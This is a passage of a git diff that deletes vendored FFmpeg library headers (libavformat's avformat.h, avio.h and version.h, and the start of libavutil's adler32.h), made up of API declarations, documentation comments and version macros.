AVCodecTag * const *tags, enum AVCodecID id); - -/** - * Get the codec tag for the given codec id. - * - * @param tags list of supported codec_id - codec_tag pairs, as stored - * in AVInputFormat.codec_tag and AVOutputFormat.codec_tag - * @param id codec id that should be searched for in the list - * @param tag A pointer to the found tag - * @return 0 if id was not found in tags, > 0 if it was found - */ -int av_codec_get_tag2(const struct AVCodecTag * const *tags, enum AVCodecID id, - unsigned int *tag); - -int av_find_default_stream_index(AVFormatContext *s); - -/** - * Get the index for a specific timestamp. - * - * @param st stream that the timestamp belongs to - * @param timestamp timestamp to retrieve the index for - * @param flags if AVSEEK_FLAG_BACKWARD then the returned index will correspond - * to the timestamp which is <= the requested one, if backward - * is 0, then it will be >= - * if AVSEEK_FLAG_ANY seek to any frame, only keyframes otherwise - * @return < 0 if no such timestamp could be found - */ -int av_index_search_timestamp(AVStream *st, int64_t timestamp, int flags); - -/** - * Add an index entry into a sorted list. Update the entry if the list - * already contains it. - * - * @param timestamp timestamp in the time base of the given stream - */ -int av_add_index_entry(AVStream *st, int64_t pos, int64_t timestamp, - int size, int distance, int flags); - - -/** - * Split a URL string into components. - * - * The pointers to buffers for storing individual components may be null, - * in order to ignore that component. Buffers for components not found are - * set to empty strings. If the port is not found, it is set to a negative - * value. - * - * @param proto the buffer for the protocol - * @param proto_size the size of the proto buffer - * @param authorization the buffer for the authorization - * @param authorization_size the size of the authorization buffer - * @param hostname the buffer for the host name - * @param hostname_size the size of the hostname buffer - * @param port_ptr a pointer to store the port number in - * @param path the buffer for the path - * @param path_size the size of the path buffer - * @param url the URL to split - */ -void av_url_split(char *proto, int proto_size, - char *authorization, int authorization_size, - char *hostname, int hostname_size, - int *port_ptr, - char *path, int path_size, - const char *url); - - -/** - * Print detailed information about the input or output format, such as - * duration, bitrate, streams, container, programs, metadata, side data, - * codec and time base. - * - * @param ic the context to analyze - * @param index index of the stream to dump information about - * @param url the URL to print, such as source or destination file - * @param is_output Select whether the specified context is an input(0) or output(1) - */ -void av_dump_format(AVFormatContext *ic, - int index, - const char *url, - int is_output); - -/** - * Return in 'buf' the path with '%d' replaced by a number. - * - * Also handles the '%0nd' format where 'n' is the total number - * of digits and '%%'. - * - * @param buf destination buffer - * @param buf_size destination buffer size - * @param path numbered sequence string - * @param number frame number - * @return 0 if OK, -1 on format error - */ -int av_get_frame_filename(char *buf, int buf_size, - const char *path, int number); - -/** - * Check whether filename actually is a numbered sequence generator. - * - * @param filename possible numbered sequence string - * @return 1 if a valid numbered sequence string, 0 otherwise - */ -int av_filename_number_test(const char *filename); - -/** - * Generate an SDP for an RTP session. - * - * Note, this overwrites the id values of AVStreams in the muxer contexts - * for getting unique dynamic payload types. - * - * @param ac array of AVFormatContexts describing the RTP streams. If the - * array is composed by only one context, such context can contain - * multiple AVStreams (one AVStream per RTP stream). Otherwise, - * all the contexts in the array (an AVCodecContext per RTP stream) - * must contain only one AVStream. - * @param n_files number of AVCodecContexts contained in ac - * @param buf buffer where the SDP will be stored (must be allocated by - * the caller) - * @param size the size of the buffer - * @return 0 if OK, AVERROR_xxx on error - */ -int av_sdp_create(AVFormatContext *ac[], int n_files, char *buf, int size); - -/** - * Return a positive value if the given filename has one of the given - * extensions, 0 otherwise. - * - * @param filename file name to check against the given extensions - * @param extensions a comma-separated list of filename extensions - */ -int av_match_ext(const char *filename, const char *extensions); - -/** - * Test if the given container can store a codec. - * - * @param ofmt container to check for compatibility - * @param codec_id codec to potentially store in container - * @param std_compliance standards compliance level, one of FF_COMPLIANCE_* - * - * @return 1 if codec with ID codec_id can be stored in ofmt, 0 if it cannot. - * A negative number if this information is not available. - */ -int avformat_query_codec(const AVOutputFormat *ofmt, enum AVCodecID codec_id, - int std_compliance); - -/** - * @defgroup riff_fourcc RIFF FourCCs - * @{ - * Get the tables mapping RIFF FourCCs to libavcodec AVCodecIDs. The tables are - * meant to be passed to av_codec_get_id()/av_codec_get_tag() as in the - * following code: - * @code - * uint32_t tag = MKTAG('H', '2', '6', '4'); - * const struct AVCodecTag *table[] = { avformat_get_riff_video_tags(), 0 }; - * enum AVCodecID id = av_codec_get_id(table, tag); - * @endcode - */ -/** - * @return the table mapping RIFF FourCCs for video to libavcodec AVCodecID. - */ -const struct AVCodecTag *avformat_get_riff_video_tags(void); -/** - * @return the table mapping RIFF FourCCs for audio to AVCodecID. - */ -const struct AVCodecTag *avformat_get_riff_audio_tags(void); -/** - * @return the table mapping MOV FourCCs for video to libavcodec AVCodecID. - */ -const struct AVCodecTag *avformat_get_mov_video_tags(void); -/** - * @return the table mapping MOV FourCCs for audio to AVCodecID. - */ -const struct AVCodecTag *avformat_get_mov_audio_tags(void); - -/** - * @} - */ - -/** - * Guess the sample aspect ratio of a frame, based on both the stream and the - * frame aspect ratio. - * - * Since the frame aspect ratio is set by the codec but the stream aspect ratio - * is set by the demuxer, these two may not be equal. This function tries to - * return the value that you should use if you would like to display the frame. - * - * Basic logic is to use the stream aspect ratio if it is set to something sane - * otherwise use the frame aspect ratio. This way a container setting, which is - * usually easy to modify can override the coded value in the frames. - * - * @param format the format context which the stream is part of - * @param stream the stream which the frame is part of - * @param frame the frame with the aspect ratio to be determined - * @return the guessed (valid) sample_aspect_ratio, 0/1 if no idea - */ -AVRational av_guess_sample_aspect_ratio(AVFormatContext *format, AVStream *stream, AVFrame *frame); - -/** - * Guess the frame rate, based on both the container and codec information. - * - * @param ctx the format context which the stream is part of - * @param stream the stream which the frame is part of - * @param frame the frame for which the frame rate should be determined, may be NULL - * @return the guessed (valid) frame rate, 0/1 if no idea - */ -AVRational av_guess_frame_rate(AVFormatContext *ctx, AVStream *stream, AVFrame *frame); - -/** - * Check if the stream st contained in s is matched by the stream specifier - * spec. - * - * See the "stream specifiers" chapter in the documentation for the syntax - * of spec. - * - * @return >0 if st is matched by spec; - * 0 if st is not matched by spec; - * AVERROR code if spec is invalid - * - * @note A stream specifier can match several streams in the format. - */ -int avformat_match_stream_specifier(AVFormatContext *s, AVStream *st, - const char *spec); - -int avformat_queue_attached_pictures(AVFormatContext *s); - -/** - * Apply a list of bitstream filters to a packet. - * - * @param codec AVCodecContext, usually from an AVStream - * @param pkt the packet to apply filters to - * @param bsfc a NULL-terminated list of filters to apply - * @return >=0 on success; - * AVERROR code on failure - */ -int av_apply_bitstream_filters(AVCodecContext *codec, AVPacket *pkt, - AVBitStreamFilterContext *bsfc); - -/** - * @} - */ - -#endif /* AVFORMAT_AVFORMAT_H */ diff --git a/desktop_3230/FFmpeg/include/libavformat/avio.h b/desktop_3230/FFmpeg/include/libavformat/avio.h deleted file mode 100644 index 7fbce32..0000000 --- a/desktop_3230/FFmpeg/include/libavformat/avio.h +++ /dev/null @@ -1,732 +0,0 @@ -/* - * copyright (c) 2001 Fabrice Bellard - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef AVFORMAT_AVIO_H -#define AVFORMAT_AVIO_H - -/** - * @file - * @ingroup lavf_io - * Buffered I/O operations - */ - -#include - -#include "libavutil/common.h" -#include "libavutil/dict.h" -#include "libavutil/log.h" - -#include "libavformat/version.h" - -#define AVIO_SEEKABLE_NORMAL 0x0001 /**< Seeking works like for a local file */ - -/** - * Callback for checking whether to abort blocking functions. - * AVERROR_EXIT is returned in this case by the interrupted - * function. During blocking operations, callback is called with - * opaque as parameter. If the callback returns 1, the - * blocking operation will be aborted. - * - * No members can be added to this struct without a major bump, if - * new elements have been added after this struct in AVFormatContext - * or AVIOContext. - */ -typedef struct AVIOInterruptCB { - int (*callback)(void*); - void *opaque; -} AVIOInterruptCB; - -/** - * Directory entry types. - */ -enum AVIODirEntryType { - AVIO_ENTRY_UNKNOWN, - AVIO_ENTRY_BLOCK_DEVICE, - AVIO_ENTRY_CHARACTER_DEVICE, - AVIO_ENTRY_DIRECTORY, - AVIO_ENTRY_NAMED_PIPE, - AVIO_ENTRY_SYMBOLIC_LINK, - AVIO_ENTRY_SOCKET, - AVIO_ENTRY_FILE, - AVIO_ENTRY_SERVER, - AVIO_ENTRY_SHARE, - AVIO_ENTRY_WORKGROUP, -}; - -/** - * Describes single entry of the directory. - * - * Only name and type fields are guaranteed be set. - * Rest of fields are protocol or/and platform dependent and might be unknown. - */ -typedef struct AVIODirEntry { - char *name; /**< Filename */ - int type; /**< Type of the entry */ - int utf8; /**< Set to 1 when name is encoded with UTF-8, 0 otherwise. - Name can be encoded with UTF-8 even though 0 is set. */ - int64_t size; /**< File size in bytes, -1 if unknown. */ - int64_t modification_timestamp; /**< Time of last modification in microseconds since unix - epoch, -1 if unknown. */ - int64_t access_timestamp; /**< Time of last access in microseconds since unix epoch, - -1 if unknown. */ - int64_t status_change_timestamp; /**< Time of last status change in microseconds since unix - epoch, -1 if unknown. */ - int64_t user_id; /**< User ID of owner, -1 if unknown. */ - int64_t group_id; /**< Group ID of owner, -1 if unknown. */ - int64_t filemode; /**< Unix file mode, -1 if unknown. */ -} AVIODirEntry; - -typedef struct AVIODirContext { - struct URLContext *url_context; -} AVIODirContext; - -/** - * Bytestream IO Context. - * New fields can be added to the end with minor version bumps. - * Removal, reordering and changes to existing fields require a major - * version bump. - * sizeof(AVIOContext) must not be used outside libav*. - * - * @note None of the function pointers in AVIOContext should be called - * directly, they should only be set by the client application - * when implementing custom I/O. Normally these are set to the - * function pointers specified in avio_alloc_context() - */ -typedef struct AVIOContext { - /** - * A class for private options. - * - * If this AVIOContext is created by avio_open2(), av_class is set and - * passes the options down to protocols. - * - * If this AVIOContext is manually allocated, then av_class may be set by - * the caller. - * - * warning -- this field can be NULL, be sure to not pass this AVIOContext - * to any av_opt_* functions in that case. - */ - const AVClass *av_class; - - /* - * The following shows the relationship between buffer, buf_ptr, buf_end, buf_size, - * and pos, when reading and when writing (since AVIOContext is used for both): - * - ********************************************************************************** - * READING - ********************************************************************************** - * - * | buffer_size | - * |---------------------------------------| - * | | - * - * buffer buf_ptr buf_end - * +---------------+-----------------------+ - * |/ / / / / / / /|/ / / / / / /| | - * read buffer: |/ / consumed / | to be read /| | - * |/ / / / / / / /|/ / / / / / /| | - * +---------------+-----------------------+ - * - * pos - * +-------------------------------------------+-----------------+ - * input file: | | | - * +-------------------------------------------+-----------------+ - * - * - ********************************************************************************** - * WRITING - ********************************************************************************** - * - * | buffer_size | - * |-------------------------------| - * | | - * - * buffer buf_ptr buf_end - * +-------------------+-----------+ - * |/ / / / / / / / / /| | - * write buffer: | / to be flushed / | | - * |/ / / / / / / / / /| | - * +-------------------+-----------+ - * - * pos - * +--------------------------+-----------------------------------+ - * output file: | | | - * +--------------------------+-----------------------------------+ - * - */ - unsigned char *buffer; /**< Start of the buffer. */ - int buffer_size; /**< Maximum buffer size */ - unsigned char *buf_ptr; /**< Current position in the buffer */ - unsigned char *buf_end; /**< End of the data, may be less than - buffer+buffer_size if the read function returned - less data than requested, e.g. for streams where - no more data has been received yet. */ - void *opaque; /**< A private pointer, passed to the read/write/seek/... - functions. */ - int (*read_packet)(void *opaque, uint8_t *buf, int buf_size); - int (*write_packet)(void *opaque, uint8_t *buf, int buf_size); - int64_t (*seek)(void *opaque, int64_t offset, int whence); - int64_t pos; /**< position in the file of the current buffer */ - int must_flush; /**< true if the next seek should flush */ - int eof_reached; /**< true if eof reached */ - int write_flag; /**< true if open for writing */ - int max_packet_size; - unsigned long checksum; - unsigned char *checksum_ptr; - unsigned long (*update_checksum)(unsigned long checksum, const uint8_t *buf, unsigned int size); - int error; /**< contains the error code or 0 if no error happened */ - /** - * Pause or resume playback for network streaming protocols - e.g. MMS. - */ - int (*read_pause)(void *opaque, int pause); - /** - * Seek to a given timestamp in stream with the specified stream_index. - * Needed for some network streaming protocols which don't support seeking - * to byte position. - */ - int64_t (*read_seek)(void *opaque, int stream_index, - int64_t timestamp, int flags); - /** - * A combination of AVIO_SEEKABLE_ flags or 0 when the stream is not seekable. - */ - int seekable; - - /** - * max filesize, used to limit allocations - * This field is internal to libavformat and access from outside is not allowed. - */ - int64_t maxsize; - - /** - * avio_read and avio_write should if possible be satisfied directly - * instead of going through a buffer, and avio_seek will always - * call the underlying seek function directly. - */ - int direct; - - /** - * Bytes read statistic - * This field is internal to libavformat and access from outside is not allowed. - */ - int64_t bytes_read; - - /** - * seek statistic - * This field is internal to libavformat and access from outside is not allowed. - */ - int seek_count; - - /** - * writeout statistic - * This field is internal to libavformat and access from outside is not allowed. - */ - int writeout_count; - - /** - * Original buffer size - * used internally after probing and ensure seekback to reset the buffer size - * This field is internal to libavformat and access from outside is not allowed. - */ - int orig_buffer_size; - - /** - * Threshold to favor readahead over seek. - * This is current internal only, do not use from outside. - */ - int short_seek_threshold; - - /** - * ',' separated list of allowed protocols. - */ - const char *protocol_whitelist; -} AVIOContext; - -/* unbuffered I/O */ - -/** - * Return the name of the protocol that will handle the passed URL. - * - * NULL is returned if no protocol could be found for the given URL. - * - * @return Name of the protocol or NULL. - */ -const char *avio_find_protocol_name(const char *url); - -/** - * Return AVIO_FLAG_* access flags corresponding to the access permissions - * of the resource in url, or a negative value corresponding to an - * AVERROR code in case of failure. The returned access flags are - * masked by the value in flags. - * - * @note This function is intrinsically unsafe, in the sense that the - * checked resource may change its existence or permission status from - * one call to another. Thus you should not trust the returned value, - * unless you are sure that no other processes are accessing the - * checked resource. - */ -int avio_check(const char *url, int flags); - -/** - * Move or rename a resource. - * - * @note url_src and url_dst should share the same protocol and authority. - * - * @param url_src url to resource to be moved - * @param url_dst new url to resource if the operation succeeded - * @return >=0 on success or negative on error. - */ -int avpriv_io_move(const char *url_src, const char *url_dst); - -/** - * Delete a resource. - * - * @param url resource to be deleted. - * @return >=0 on success or negative on error. - */ -int avpriv_io_delete(const char *url); - -/** - * Open directory for reading. - * - * @param s directory read context. Pointer to a NULL pointer must be passed. - * @param url directory to be listed. - * @param options A dictionary filled with protocol-private options. On return - * this parameter will be destroyed and replaced with a dictionary - * containing options that were not found. May be NULL. - * @return >=0 on success or negative on error. - */ -int avio_open_dir(AVIODirContext **s, const char *url, AVDictionary **options); - -/** - * Get next directory entry. - * - * Returned entry must be freed with avio_free_directory_entry(). In particular - * it may outlive AVIODirContext. - * - * @param s directory read context. - * @param[out] next next entry or NULL when no more entries. - * @return >=0 on success or negative on error. End of list is not considered an - * error. - */ -int avio_read_dir(AVIODirContext *s, AVIODirEntry **next); - -/** - * Close directory. - * - * @note Entries created using avio_read_dir() are not deleted and must be - * freeded with avio_free_directory_entry(). - * - * @param s directory read context. - * @return >=0 on success or negative on error. - */ -int avio_close_dir(AVIODirContext **s); - -/** - * Free entry allocated by avio_read_dir(). - * - * @param entry entry to be freed. - */ -void avio_free_directory_entry(AVIODirEntry **entry); - -/** - * Allocate and initialize an AVIOContext for buffered I/O. It must be later - * freed with av_free(). - * - * @param buffer Memory block for input/output operations via AVIOContext. - * The buffer must be allocated with av_malloc() and friends. - * It may be freed and replaced with a new buffer by libavformat. - * AVIOContext.buffer holds the buffer currently in use, - * which must be later freed with av_free(). - * @param buffer_size The buffer size is very important for performance. - * For protocols with fixed blocksize it should be set to this blocksize. - * For others a typical size is a cache page, e.g. 4kb. - * @param write_flag Set to 1 if the buffer should be writable, 0 otherwise. - * @param opaque An opaque pointer to user-specific data. - * @param read_packet A function for refilling the buffer, may be NULL. - * @param write_packet A function for writing the buffer contents, may be NULL. - * The function may not change the input buffers content. - * @param seek A function for seeking to specified byte position, may be NULL. - * - * @return Allocated AVIOContext or NULL on failure. - */ -AVIOContext *avio_alloc_context( - unsigned char *buffer, - int buffer_size, - int write_flag, - void *opaque, - int (*read_packet)(void *opaque, uint8_t *buf, int buf_size), - int (*write_packet)(void *opaque, uint8_t *buf, int buf_size), - int64_t (*seek)(void *opaque, int64_t offset, int whence)); - -void avio_w8(AVIOContext *s, int b); -void avio_write(AVIOContext *s, const unsigned char *buf, int size); -void avio_wl64(AVIOContext *s, uint64_t val); -void avio_wb64(AVIOContext *s, uint64_t val); -void avio_wl32(AVIOContext *s, unsigned int val); -void avio_wb32(AVIOContext *s, unsigned int val); -void avio_wl24(AVIOContext *s, unsigned int val); -void avio_wb24(AVIOContext *s, unsigned int val); -void avio_wl16(AVIOContext *s, unsigned int val); -void avio_wb16(AVIOContext *s, unsigned int val); - -/** - * Write a NULL-terminated string. - * @return number of bytes written. - */ -int avio_put_str(AVIOContext *s, const char *str); - -/** - * Convert an UTF-8 string to UTF-16LE and write it. - * @param s the AVIOContext - * @param str NULL-terminated UTF-8 string - * - * @return number of bytes written. - */ -int avio_put_str16le(AVIOContext *s, const char *str); - -/** - * Convert an UTF-8 string to UTF-16BE and write it. - * @param s the AVIOContext - * @param str NULL-terminated UTF-8 string - * - * @return number of bytes written. - */ -int avio_put_str16be(AVIOContext *s, const char *str); - -/** - * Passing this as the "whence" parameter to a seek function causes it to - * return the filesize without seeking anywhere. Supporting this is optional. - * If it is not supported then the seek function will return <0. - */ -#define AVSEEK_SIZE 0x10000 - -/** - * Oring this flag as into the "whence" parameter to a seek function causes it to - * seek by any means (like reopening and linear reading) or other normally unreasonable - * means that can be extremely slow. - * This may be ignored by the seek code. - */ -#define AVSEEK_FORCE 0x20000 - -/** - * fseek() equivalent for AVIOContext. - * @return new position or AVERROR. - */ -int64_t avio_seek(AVIOContext *s, int64_t offset, int whence); - -/** - * Skip given number of bytes forward - * @return new position or AVERROR. - */ -int64_t avio_skip(AVIOContext *s, int64_t offset); - -/** - * ftell() equivalent for AVIOContext. - * @return position or AVERROR. - */ -static av_always_inline int64_t avio_tell(AVIOContext *s) -{ - return avio_seek(s, 0, SEEK_CUR); -} - -/** - * Get the filesize. - * @return filesize or AVERROR - */ -int64_t avio_size(AVIOContext *s); - -/** - * feof() equivalent for AVIOContext. - * @return non zero if and only if end of file - */ -int avio_feof(AVIOContext *s); -#if FF_API_URL_FEOF -/** - * @deprecated use avio_feof() - */ -attribute_deprecated -int url_feof(AVIOContext *s); -#endif - -/** @warning Writes up to 4 KiB per call */ -int avio_printf(AVIOContext *s, const char *fmt, ...) av_printf_format(2, 3); - -/** - * Force flushing of buffered data. - * - * For write streams, force the buffered data to be immediately written to the output, - * without to wait to fill the internal buffer. - * - * For read streams, discard all currently buffered data, and advance the - * reported file position to that of the underlying stream. This does not - * read new data, and does not perform any seeks. - */ -void avio_flush(AVIOContext *s); - -/** - * Read size bytes from AVIOContext into buf. - * @return number of bytes read or AVERROR - */ -int avio_read(AVIOContext *s, unsigned char *buf, int size); - -/** - * @name Functions for reading from AVIOContext - * @{ - * - * @note return 0 if EOF, so you cannot use it if EOF handling is - * necessary - */ -int avio_r8 (AVIOContext *s); -unsigned int avio_rl16(AVIOContext *s); -unsigned int avio_rl24(AVIOContext *s); -unsigned int avio_rl32(AVIOContext *s); -uint64_t avio_rl64(AVIOContext *s); -unsigned int avio_rb16(AVIOContext *s); -unsigned int avio_rb24(AVIOContext *s); -unsigned int avio_rb32(AVIOContext *s); -uint64_t avio_rb64(AVIOContext *s); -/** - * @} - */ - -/** - * Read a string from pb into buf. The reading will terminate when either - * a NULL character was encountered, maxlen bytes have been read, or nothing - * more can be read from pb. The result is guaranteed to be NULL-terminated, it - * will be truncated if buf is too small. - * Note that the string is not interpreted or validated in any way, it - * might get truncated in the middle of a sequence for multi-byte encodings. - * - * @return number of bytes read (is always <= maxlen). - * If reading ends on EOF or error, the return value will be one more than - * bytes actually read. - */ -int avio_get_str(AVIOContext *pb, int maxlen, char *buf, int buflen); - -/** - * Read a UTF-16 string from pb and convert it to UTF-8. - * The reading will terminate when either a null or invalid character was - * encountered or maxlen bytes have been read. - * @return number of bytes read (is always <= maxlen) - */ -int avio_get_str16le(AVIOContext *pb, int maxlen, char *buf, int buflen); -int avio_get_str16be(AVIOContext *pb, int maxlen, char *buf, int buflen); - - -/** - * @name URL open modes - * The flags argument to avio_open must be one of the following - * constants, optionally ORed with other flags. - * @{ - */ -#define AVIO_FLAG_READ 1 /**< read-only */ -#define AVIO_FLAG_WRITE 2 /**< write-only */ -#define AVIO_FLAG_READ_WRITE (AVIO_FLAG_READ|AVIO_FLAG_WRITE) /**< read-write pseudo flag */ -/** - * @} - */ - -/** - * Use non-blocking mode. - * If this flag is set, operations on the context will return - * AVERROR(EAGAIN) if they can not be performed immediately. - * If this flag is not set, operations on the context will never return - * AVERROR(EAGAIN). - * Note that this flag does not affect the opening/connecting of the - * context. Connecting a protocol will always block if necessary (e.g. on - * network protocols) but never hang (e.g. on busy devices). - * Warning: non-blocking protocols is work-in-progress; this flag may be - * silently ignored. - */ -#define AVIO_FLAG_NONBLOCK 8 - -/** - * Use direct mode. - * avio_read and avio_write should if possible be satisfied directly - * instead of going through a buffer, and avio_seek will always - * call the underlying seek function directly. - */ -#define AVIO_FLAG_DIRECT 0x8000 - -/** - * Create and initialize a AVIOContext for accessing the - * resource indicated by url. - * @note When the resource indicated by url has been opened in - * read+write mode, the AVIOContext can be used only for writing. - * - * @param s Used to return the pointer to the created AVIOContext. - * In case of failure the pointed to value is set to NULL. - * @param url resource to access - * @param flags flags which control how the resource indicated by url - * is to be opened - * @return >= 0 in case of success, a negative value corresponding to an - * AVERROR code in case of failure - */ -int avio_open(AVIOContext **s, const char *url, int flags); - -/** - * Create and initialize a AVIOContext for accessing the - * resource indicated by url. - * @note When the resource indicated by url has been opened in - * read+write mode, the AVIOContext can be used only for writing. - * - * @param s Used to return the pointer to the created AVIOContext. - * In case of failure the pointed to value is set to NULL. - * @param url resource to access - * @param flags flags which control how the resource indicated by url - * is to be opened - * @param int_cb an interrupt callback to be used at the protocols level - * @param options A dictionary filled with protocol-private options. On return - * this parameter will be destroyed and replaced with a dict containing options - * that were not found. May be NULL. - * @return >= 0 in case of success, a negative value corresponding to an - * AVERROR code in case of failure - */ -int avio_open2(AVIOContext **s, const char *url, int flags, - const AVIOInterruptCB *int_cb, AVDictionary **options); - -/** - * Close the resource accessed by the AVIOContext s and free it. - * This function can only be used if s was opened by avio_open(). - * - * The internal buffer is automatically flushed before closing the - * resource. - * - * @return 0 on success, an AVERROR < 0 on error. - * @see avio_closep - */ -int avio_close(AVIOContext *s); - -/** - * Close the resource accessed by the AVIOContext *s, free it - * and set the pointer pointing to it to NULL. - * This function can only be used if s was opened by avio_open(). - * - * The internal buffer is automatically flushed before closing the - * resource. - * - * @return 0 on success, an AVERROR < 0 on error. - * @see avio_close - */ -int avio_closep(AVIOContext **s); - - -/** - * Open a write only memory stream. - * - * @param s new IO context - * @return zero if no error. - */ -int avio_open_dyn_buf(AVIOContext **s); - -/** - * Return the written size and a pointer to the buffer. The buffer - * must be freed with av_free(). - * Padding of AV_INPUT_BUFFER_PADDING_SIZE is added to the buffer. - * - * @param s IO context - * @param pbuffer pointer to a byte buffer - * @return the length of the byte buffer - */ -int avio_close_dyn_buf(AVIOContext *s, uint8_t **pbuffer); - -/** - * Iterate through names of available protocols. - * - * @param opaque A private pointer representing current protocol. - * It must be a pointer to NULL on first iteration and will - * be updated by successive calls to avio_enum_protocols. - * @param output If set to 1, iterate over output protocols, - * otherwise over input protocols. - * - * @return A static string containing the name of current protocol or NULL - */ -const char *avio_enum_protocols(void **opaque, int output); - -/** - * Pause and resume playing - only meaningful if using a network streaming - * protocol (e.g. MMS). - * - * @param h IO context from which to call the read_pause function pointer - * @param pause 1 for pause, 0 for resume - */ -int avio_pause(AVIOContext *h, int pause); - -/** - * Seek to a given timestamp relative to some component stream. - * Only meaningful if using a network streaming protocol (e.g. MMS.). - * - * @param h IO context from which to call the seek function pointers - * @param stream_index The stream index that the timestamp is relative to. - * If stream_index is (-1) the timestamp should be in AV_TIME_BASE - * units from the beginning of the presentation. - * If a stream_index >= 0 is used and the protocol does not support - * seeking based on component streams, the call will fail. - * @param timestamp timestamp in AVStream.time_base units - * or if there is no stream specified then in AV_TIME_BASE units. - * @param flags Optional combination of AVSEEK_FLAG_BACKWARD, AVSEEK_FLAG_BYTE - * and AVSEEK_FLAG_ANY. The protocol may silently ignore - * AVSEEK_FLAG_BACKWARD and AVSEEK_FLAG_ANY, but AVSEEK_FLAG_BYTE will - * fail if used and not supported. - * @return >= 0 on success - * @see AVInputFormat::read_seek - */ -int64_t avio_seek_time(AVIOContext *h, int stream_index, - int64_t timestamp, int flags); - -/* Avoid a warning. The header can not be included because it breaks c++. */ -struct AVBPrint; - -/** - * Read contents of h into print buffer, up to max_size bytes, or up to EOF. - * - * @return 0 for success (max_size bytes read or EOF reached), negative error - * code otherwise - */ -int avio_read_to_bprint(AVIOContext *h, struct AVBPrint *pb, size_t max_size); - -/** - * Accept and allocate a client context on a server context. - * @param s the server context - * @param c the client context, must be unallocated - * @return >= 0 on success or a negative value corresponding - * to an AVERROR on failure - */ -int avio_accept(AVIOContext *s, AVIOContext **c); - -/** - * Perform one step of the protocol handshake to accept a new client. - * This function must be called on a client returned by avio_accept() before - * using it as a read/write context. - * It is separate from avio_accept() because it may block. - * A step of the handshake is defined by places where the application may - * decide to change the proceedings. - * For example, on a protocol with a request header and a reply header, each - * one can constitute a step because the application may use the parameters - * from the request to change parameters in the reply; or each individual - * chunk of the request can constitute a step. - * If the handshake is already finished, avio_handshake() does nothing and - * returns 0 immediately. - * - * @param c the client context to perform the handshake on - * @return 0 on a complete and successful handshake - * > 0 if the handshake progressed, but is not complete - * < 0 for an AVERROR code - */ -int avio_handshake(AVIOContext *c); -#endif /* AVFORMAT_AVIO_H */ diff --git a/desktop_3230/FFmpeg/include/libavformat/version.h b/desktop_3230/FFmpeg/include/libavformat/version.h deleted file mode 100644 index 024ab91..0000000 --- a/desktop_3230/FFmpeg/include/libavformat/version.h +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Version macros. - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVFORMAT_VERSION_H -#define AVFORMAT_VERSION_H - -/** - * @file - * @ingroup libavf - * Libavformat version macros - */ - -#include "libavutil/version.h" - -#define LIBAVFORMAT_VERSION_MAJOR 57 -#define LIBAVFORMAT_VERSION_MINOR 25 -#define LIBAVFORMAT_VERSION_MICRO 100 - -#define LIBAVFORMAT_VERSION_INT AV_VERSION_INT(LIBAVFORMAT_VERSION_MAJOR, \ - LIBAVFORMAT_VERSION_MINOR, \ - LIBAVFORMAT_VERSION_MICRO) -#define LIBAVFORMAT_VERSION AV_VERSION(LIBAVFORMAT_VERSION_MAJOR, \ - LIBAVFORMAT_VERSION_MINOR, \ - LIBAVFORMAT_VERSION_MICRO) -#define LIBAVFORMAT_BUILD LIBAVFORMAT_VERSION_INT - -#define LIBAVFORMAT_IDENT "Lavf" AV_STRINGIFY(LIBAVFORMAT_VERSION) - -/** - * FF_API_* defines may be placed below to indicate public API that will be - * dropped at a future version bump. The defines themselves are not part of - * the public API and may change, break or disappear at any time. - * - * @note, when bumping the major version it is recommended to manually - * disable each FF_API_* in its own commit instead of disabling them all - * at once through the bump. This improves the git bisect-ability of the change. - * - */ -#ifndef FF_API_LAVF_BITEXACT -#define FF_API_LAVF_BITEXACT (LIBAVFORMAT_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_LAVF_FRAC -#define FF_API_LAVF_FRAC (LIBAVFORMAT_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_LAVF_CODEC_TB -#define FF_API_LAVF_CODEC_TB (LIBAVFORMAT_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_URL_FEOF -#define FF_API_URL_FEOF (LIBAVFORMAT_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_LAVF_FMT_RAWPICTURE -#define FF_API_LAVF_FMT_RAWPICTURE (LIBAVFORMAT_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_COMPUTE_PKT_FIELDS2 -#define FF_API_COMPUTE_PKT_FIELDS2 (LIBAVFORMAT_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_OLD_OPEN_CALLBACKS -#define FF_API_OLD_OPEN_CALLBACKS (LIBAVFORMAT_VERSION_MAJOR < 58) -#endif - -#ifndef FF_API_R_FRAME_RATE -#define FF_API_R_FRAME_RATE 1 -#endif -#endif /* AVFORMAT_VERSION_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/adler32.h b/desktop_3230/FFmpeg/include/libavutil/adler32.h deleted file mode 100644 index 0dc69ec..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/adler32.h +++ /dev/null @@ -1,55 +0,0 @@ -/* - * copyright (c) 2006 Mans Rullgard - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR 